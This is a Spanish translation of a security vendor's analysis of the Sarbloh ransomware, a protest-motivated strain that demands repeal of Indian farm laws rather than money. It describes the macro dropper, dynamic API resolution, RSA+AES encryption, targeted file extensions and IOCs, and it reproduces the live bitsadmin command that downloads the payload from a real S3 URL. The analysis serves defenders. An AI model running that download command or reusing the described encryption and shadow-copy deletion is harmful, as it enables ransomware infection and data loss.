Los activistas se vuelven hacktivistas: nuevo ransomware que no exige dinero Los activistas se vuelven hacktivistas


Protesta de agricultores indios es una lucha en curso contra tres leyes agrícolas que fueron aprobadas por el Parlamento de la India en septiembre de 2020. Los sindicatos y representantes de agricultores han descrito estas nuevas leyes como anti-granjero y la protesta continúa contra ellos. Las protestas incluyeron el bloqueo de fronteras y carreteras, Rail Roko (detener los trenes), disturbios, etc., que ahora han llegado al mundo cibernético. Quickheal Security Labs encontró un ransomware llamado "SARBLOH RANSOMWARE" que parece ser parte de esta protesta. En este ataque, se está difundiendo un documento malicioso que descarga ransomware desde las siguientes URL:

hxxps: //s3.ap-south-1.amazonaws.com/ans (.) video.input / transcode_input / profile16146815778005vw0qb.png

hxxp: //s3.ap-south-1.amazonaws.com/ans (.) video.input / transcode_input / profile16146815778005vw0qb.png

El ransomware descargado cifra los archivos del sistema con la extensión .sarbloh y muestra la nota de rescate. Este es un escenario inusual en el que el atacante no pide ningún rescate monetario, sino que exige justicia para el agricultor.

Fig 1: Nota de rescate

Fig 1: Nota de rescate

Análisis de documentos

El documento adjunto de Office contiene una macro con un código VBA muy ofuscado. Este código es responsable de entregar la carga útil en la cadena de ataque.

Fig 2: Documento malicioso

Fig 2: Documento malicioso

Fig 3: Macro de VBA maliciosa

Fig 3: Macro de VBA maliciosa

Después de depurar la macro, podemos ver que hay una llamada a bitsadmin asignada a una variable que contiene un enlace para descargar el archivo y la ubicación donde se va a descargar.
El comando es el siguiente:

"Bitsadmin / transfer myDownloadJOb23 https://s3.ap-south-1.amazonaws.com/ans.video.input/transcode_input/profile16146815778005vw0qb.png C: Users admin Documents \ putty.exe"

El archivo se descarga en Documentos de usuario llamado putty.exe, que es nuestra carga útil final.

  Fig 4: Variables macro

Fig 4: Variables macro

Hay un comando en la macro de VBA para eliminar las instantáneas. Esto se puede observar en el siguiente fragmento (el comando se ha resaltado en amarillo)

Fig 5: Eliminación de instantáneas

Fig 5: Eliminación de instantáneas

Análisis de carga útil

La carga útil descargada tiene un tamaño de solo 21 kb. El atacante lo nombra putty.exe para que parezca legítimo. Al examinar el contenido del archivo, se ha observado que el archivo no tiene directorio de importación. Parece el caso en el que las API se resuelven dinámicamente. Hay valores hexadecimales presentes en la sección de datos que se descifran RC4 donde la clave es "FUCKINDIA”. La lógica RC4 se ha implementado de forma estática. Esto da como resultado varias API que se cargan dinámicamente.

Fig 6: Flujos hexadecimales presentes en la sección de datos

Fig 6: Flujos hexadecimales presentes en la sección de datos

La secuencia hexadecimal resaltada arriba cuando se descifra da LdrLoadDll que se puede observar en la siguiente figura.

Fig 7: Datos descifrados

Fig 7: Datos descifrados

La siguiente figura muestra llamadas al payload.0x1F000 (descifrado RC4) donde el flujo hexadecimal se pasa como parámetro y luego se llama a payload.0x1F2270 que resuelve y carga la API. Posteriormente, mediante LdrLoadDll y LdrGetProcedureAddress se cargan todas las DLL y API.

Fig 8: Resolución dinámica de API

Fig 8: Resolución dinámica de API

La carga útil crea dos hilos, el primero para el cifrado de archivos y el segundo para mostrar la nota de rescate.

Fig 9: Crea subprocesos

Fig 9: Crea subprocesos

Analicemos ahora el hilo para cifrar datos. Para enumerar cada archivo en una API de directorio "ZwQueryDirectoryFile ” ha sido usado. Después de obtener el nombre del archivo junto con la extensión, hay un código para verificar si es de las siguientes extensiones. Este ransomware solo cifra las siguientes extensiones.

.txt.dat.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp .otp.sxd.std

.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs

.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3 .wav.swf.fla.wmv

.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif

.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx .sti

.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm

.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.doc

Estas extensiones están presentes en la sección .rdata:

Fig 10: Extensiones para cifrado

Fig 10: Extensiones para cifrado

La siguiente figura indica el código para comprobar si la extensión obtenida es la misma que las extensiones anteriores. En esta figura, se puede ver que la extensión de archivos de sistema "hiberfil.sys" .sys se compara con .dat

Fig 11: Comparación de extensiones de archivo

Fig 11: Comparación de extensiones de archivo

Cifrado de archivos

Este ransomware utiliza una combinación de cifrado RSA + AES. Los archivos están encriptados por el modo CBC AES-128 con una clave generada aleatoriamente única para cada archivo. Luego, RSA cifra la CLAVE AES. Analicemos esto en detalle.

La clave pública RSA se almacena en formato base 64 en la sección .rdata. Se realiza una llamada a la API "CryptAcquirecontext”Para obtener el identificador del usuario actual dentro de CSP“ Microsoft Enhanced Cryptographic Provider v1.0 ”. Esta API se llama dos veces para obtener identificadores para RSA y AES respectivamente.

Fig.12: Clave pública RSA codificada en Base 64

Fig.12: Clave pública RSA codificada en Base 64

Luego, se llama a un conjunto de API de la siguiente manera
1. CryptStringToBinaryW: Para decodificar la clave pública RSA codificada en base 64 que se muestra en la figura anterior en formato binario
2. CryptDecodeObjectEx: Descifrar los datos binarios obtenidos y obtenerlos en forma de estructura CERT_PUBLIC_KEY_INFO. Esta estructura contiene el
Algoritmo szOID_RSA_RSA >>"1.2.840.113549.1.1.1" y la clave

3. CryptImportPublicKeyInfo: Para importar la estructura decodificada anteriormente de key blob a CSP.

Fig 13: Generación de la estructura CERT_PUBLIC_KEY_INFO

Fig 13: Generación de la estructura CERT_PUBLIC_KEY_INFO

Ahora por API CryptGenKey con ALGID: 660E que denota CALG_AES_128 se genera una clave aleatoria y se obtiene el identificador de la clave. Los datos del archivo ahora están encriptados por API CryptEncrypt. Posteriormente, la clave se exporta desde CSP al blob de claves en el espacio de memoria de los archivos mediante API CryptExportKey y luego cifrado por clave pública RSA. El siguiente fragmento de código muestra las API y el volcado muestra la clave exportada.

Fig 14: Exportación de clave AES y cifrado por RSA

Fig 14: Exportación de clave AES y cifrado por RSA

Los datos cifrados junto con la clave AES cifrada, la longitud del archivo original y la longitud de la clave se escriben en el archivo cifrado y luego la clave AES es destruida por CryptDestroyKey. El contenido del archivo cifrado se puede ver a continuación:

Fig 15: Contenido de archivo cifrado

Fig 15: Contenido de archivo cifrado

El siguiente fragmento muestra algunos archivos cifrados con extensión .sarbloh.

Fig 16: Archivos cifrados

Fig 16: Archivos cifrados

El segundo hilo usa API como CreateWindow, ShowWindow para crear una ventana donde se muestra la nota de rescate. Las API GetMessage, TranslateMessage y DisplayMessage se utilizan para recuperar la nota de .rdata y mostrarla en la ventana creada.

Conclusión

Los archivos cifrados de Sarbloh Ransomware no se pueden descifrar ya que se ha utilizado un par de combinaciones simétricas + asimétricas. El cifrado se puede resumir de la siguiente manera:
1. La clave pública RSA que está incrustada en el propio archivo se importa a CSP.
2. Genera una clave AES aleatoria
3. Cifra archivos usando la clave AES recién generada.
4. Cifra la clave AES con la clave pública RSA
5. Agrega la clave AES cifrada dentro del archivo cifrado.

Lo más importante aquí es que la clave pública estaba presente en el archivo en sí, lo que significa que las claves RSA no se generaron dinámicamente, por lo que solo el atacante tiene acceso a la clave de descifrado. En la mayoría de los casos de ransomware, el atacante suele solicitar un rescate monetario para recibir un descifrador. Este es un caso inusual en el que los atacantes mencionan que no hay posibilidad de recuperación de archivos hasta que se hayan cumplido las demandas de los agricultores. La nota de rescate menciona que este ataque es por Khalsa Cyber ​​Fauj y advierte a la víctima que su destino será muy devastador si no se derogan las leyes. Este tipo de protestas cibernéticas se ha disparado en popularidad y se han convertido en un lugar común en el mundo moderno de hoy. Para mantenernos a salvo de este tipo de ataques, siga el gran dicho "¡Es mejor prevenir que curar"!

El vector de infección suele estar en forma de correos, por lo que no abra archivos adjuntos de un remitente que no sea de confianza. No habilite macros en el Doc que se reciben principalmente de correos electrónicos. Evite hacer clic en enlaces no verificados y en los correos electrónicos no deseados. Mantenga su software y antivirus actualizados. Recuerde siempre hacer una copia de seguridad de sus datos para poder recuperarlos incluso en caso de un ataque de ransomware.

¿Cómo protege Quick Heal a sus usuarios del Sarbloh Ransomware?

Fig 17: Detección de comportamiento

Fig 17: Detección de comportamiento

Fig 18: Protección ARW

Fig 18: Protección ARW

Protección de malware

OLE.Downloader.41299 >> Archivo de documento
Troj.Ransom.19047449 >> Archivo ejecutable

COI:

b8756966cf478aa401a067f14eefb57f34eea127348973350b14b5b53e3eec4f (archivo DOC
acbe95f70f7d8e20781841cfd859d78575ccd36720c68b60789251a509e1194d (EXE)

Tejaswini Sandapolla

Tejaswini Sandapolla